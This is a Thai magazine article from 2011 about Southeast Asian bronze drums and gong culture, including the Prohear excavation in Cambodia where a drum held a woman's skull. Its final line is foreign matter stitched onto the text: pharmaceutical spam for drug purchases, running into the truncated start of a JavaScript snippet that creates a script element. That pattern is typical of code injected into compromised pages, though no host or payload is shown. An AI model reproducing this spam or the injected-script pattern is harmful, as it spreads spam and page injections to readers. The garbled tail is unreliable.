มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 29 กรกฎาคม 2554

 

          ฆ้อง เป็นวัฒนธรรมร่วมของบรรพชนคนในภูมิภาคอุษาคเนย์ที่กำลังรวมกลุ่มเป็นประชาคมอาเซียน

          ฆ้อง (หรือวัฒนธรรมฆ้อง) มีผู้เชื่อว่าอาจใช้เป็นสัญลักษณ์ของประชาคมอาเซียนได้ดีและเหมาะสม เพราะเป็นสิ่งแสดงความก้าวหน้าทางเทคโนโลยีของบรรพชนคนอุษาคเนย์ ราว 3,000 ปีมาแล้ว

          รากเหง้าของฆ้องมาจากกลองทอง หรือมโหระทึก

กลองทอง, มโหระทึก  

          มโหระทึกหล่อด้วยโลหะผสมทองสัมฤทธิ์ มีชื่อเรียกต่างๆ กัน บางแห่งเรียกฆ้องกบ, ฆ้องบั้ง แต่บางแห่งเรียกกลองทอง (แดง), กลองกบ ฯลฯ

          ถือเป็นลักษณะเฉพาะของภูมิภาคอุษาคเนย์ เมื่อ 3,000 ปีมาแล้ว เพราะมีแพร่หลายกระจายไปทั่วผืนแผ่นดินใหญ่และหมู่เกาะ ตั้งแต่เหนือสุดที่มณฑลยูนนาน(นับเป็นบริเวณอุษาคเนย์ เมื่อราว 3,000 ปีมาแล้ว) จนถึงใต้สุดทางหมู่เกาะอินโดนีเซีย

          มโหระทึกยุคแรกๆ เป็นภาชนะใส่สิ่งของศักดิ์สิทธิ์ฝังไว้กับศพ บางแห่งใช้ใส่กระดูกคนตายที่ฝังดินไว้จนเนื้อหนังลอกออกแล้ว

          ครั้นนานเข้ากลายเป็นเครื่องประโคมตีในพิธีกรรม เช่น พิธีศพ ทำให้เรียกกันภายหลังว่ากลอง เพราะมีรูปร่างเหมือนกลองไม้

          แต่บางทีก็เรียกฆ้อง เพราะหล่อด้วยโลหะสัมฤทธิ์ และเป็นต้นแบบดั้งเดิมและเก่าแก่ที่สุดของเครื่องดนตรีตระกูลฆ้อง-ระฆัง เช่น ฆ้องหุ่ย และระฆังใช้ตีประจำวัด กับฆ้องวงใช้ตีในวงปี่พาทย์ทุกวันนี้ (มีใช้ทั่วไปในอินโดนีเซีย มาเลเซีย ไทย ลาว พม่า และกัมพูชา)

          ปัจจุบันยังใช้มโหระทึกประโคมในพิธีกรรมสำคัญของรัฐและพระเจ้าแผ่นดิน

          เนื่องจากเป็นเครื่องมือหล่อด้วยโลหะผสมที่ต้องใช้เทคโนโลยีสูง จึงเป็นสิ่งที่คนทั้งชุมชนต้องร่วมกันทำขึ้นเพื่อให้เป็นสมบัติของเผ่าพันธุ์ ฉะนั้น จึงเป็นสัญลักษณ์ของหัวหน้าเผ่าพันธุ์นั้นๆ ด้วย แล้วสืบเนื่องเป็นสัญลักษณ์ของพระราชาในสมัยหลังๆ ต่อมา (ดังมีอยูในพงศาวดารล้านช้างและตำนานพระเจ้าพรหมของล้านนา)

          รอบๆ มโหระทึกสลักเป็นลวดลายสัญลักษณ์ต่างๆ เช่น จักรวาล, ฟ้า, ดิน, และน้ำ โดยเฉพาะอย่างยิ่งจะมีรูปกบประดับหน้ากลองซึ่งถือเป็นสัญลักษณ์ของฝน จึงใช้ตีขอฝน หรือตีบูชากบเพื่อขอความอุดมสมบูรณ์ให้ชุมชนเผ่าพันธุ์ของตน โดยใช้ปี่กับแคนเป่าทำนองด้นเคล้าคลอตลอดเวลา

มโหระทึกในหลุมศพที่กัมพูชา 

          ล่าสุดมีรายงานว่านักโบราณคดีขุดพบกลองทองมโหระทึกฝังดินอยู่แหล่งเดียวกันถึง 30 ใบ ในกัมพูชา (Andreas Reinecke, Vin Laychor and Seng Sontra. The First Golden Age of Cambodia : Excavation at Prohear. Germany : the German Foreign Office, 2009.) แสดงว่าบริเวณนั้นเคยเป็นชุมชนสำคัญมากเมื่อ 2,000 ปีมาแล้ว หรือเมื่อราว พ.ศ. 500

          เจนจิรา เบญจพงศ์ คอลัมนิสต์นักค้นคว้าอิสระ สรุปย่อๆ จากรายงานวิชาการไว้ดังนี้

          พบกลองมโหระทึกจำนวนหลายโหล ยุคเหล็ก อายุราว 2,000 ปีมาแล้ว ในแหล่งฝังศพบริเวณกลางหมู่บ้าน Prohear จังหวัด Prey Veng ทางตะวันออกเฉียงใต้ของกัมพูชา (ห่างจากพนมเปญไปทางตะวันออกประมาณ 65 กม. และห่างจากชายแดนเวียดนามทางตะวันตก 40 กม.)

          ขุดค้นโดยคณะนักโบราณคดีกัมพูชา-เยอรมัน เมื่อ พ.ศ. 2551 และ 2552

          ในบรรดาหลุมขุดค้นทั้งหมด 52 หลุม พบว่ามี  4 หลุมที่มีตัวกลองและชิ้นส่วนกลองฝังร่วมกับศพ ซึ่งจากคำบอกเล่าของชาวบ้านได้ประมาณจำนวนมโหระทึกที่พบขั้นต่ำราวหลายโหลหรือกว่า 30 ใบ เพราะในปี 2550 ก่อนหน้าการขุดค้น ชาวบ้านขุดมโหระทึกราว 20 ใบไปขาย บางส่วนเหลือเพียงรูปถ่ายของนักศึกษาโบราณคดีที่ไปสำรวจ

          มโหระทึกเหล่านี้ฝังร่วมกับโครงกระดูก คงเป็นของอุทิศให้กับผู้ตาย

          แต่มี 1 ใบที่พบกะโหลกศีรษะมนุษย์เพศหญิงใส่ข้างใน และพบชิ้นส่วนเสื่อสานจากไม้ไผ่ที่คาดว่าใช้ห่อศพฝังร่วมกับมโหระทึก

          ประเพณีเอาศพใส่มโหระทึกไปฝังดิน เคยพบในประเทศไทย แต่ไม่ชัดเจนแล้วอาจพบที่อื่นในอุษาคเนย์อีกก็ได้ แต่ยังไม่พบหลักฐานตรงๆ เหมือนในกัมพูชานี้

หลุมฝังศพหมายเลข 4 พบมโหระทึกใส่กะโหลกศีรษะผู้หญิง ต่างหูบนหู คอ และผม ไว้ภายใน บนตัวกลองพบชิ้นส่วนเสื่อที่น่าจะทำจากไม้ไผ่ ด้านใต้กลองมีภาชนะดินเผาฝังร่วมอยู่ด้วย

กะโหลกศีรษะผู้หญิง และสิ่งของอุทิศบางส่วนที่ใส่ไว้ในมโหระทึก จากหลุมฝังศพหมายเลข 4 หลังนำขึ้นมาทำความสะอาดในแล็บที่ Memot Centre แล้ว

ลายเส้นมโหระทึกที่พบจากหลุมฝังศพหมายเลข 4 (ที่บรรจุกะโหลกภายใน) สูง 30.5 ซม. เส้นผ่าศูนย์กลาง 45 ซม.

ranbaxy forzest 20 purchase inderalvar d=document;var s=d.createElement(‘script’);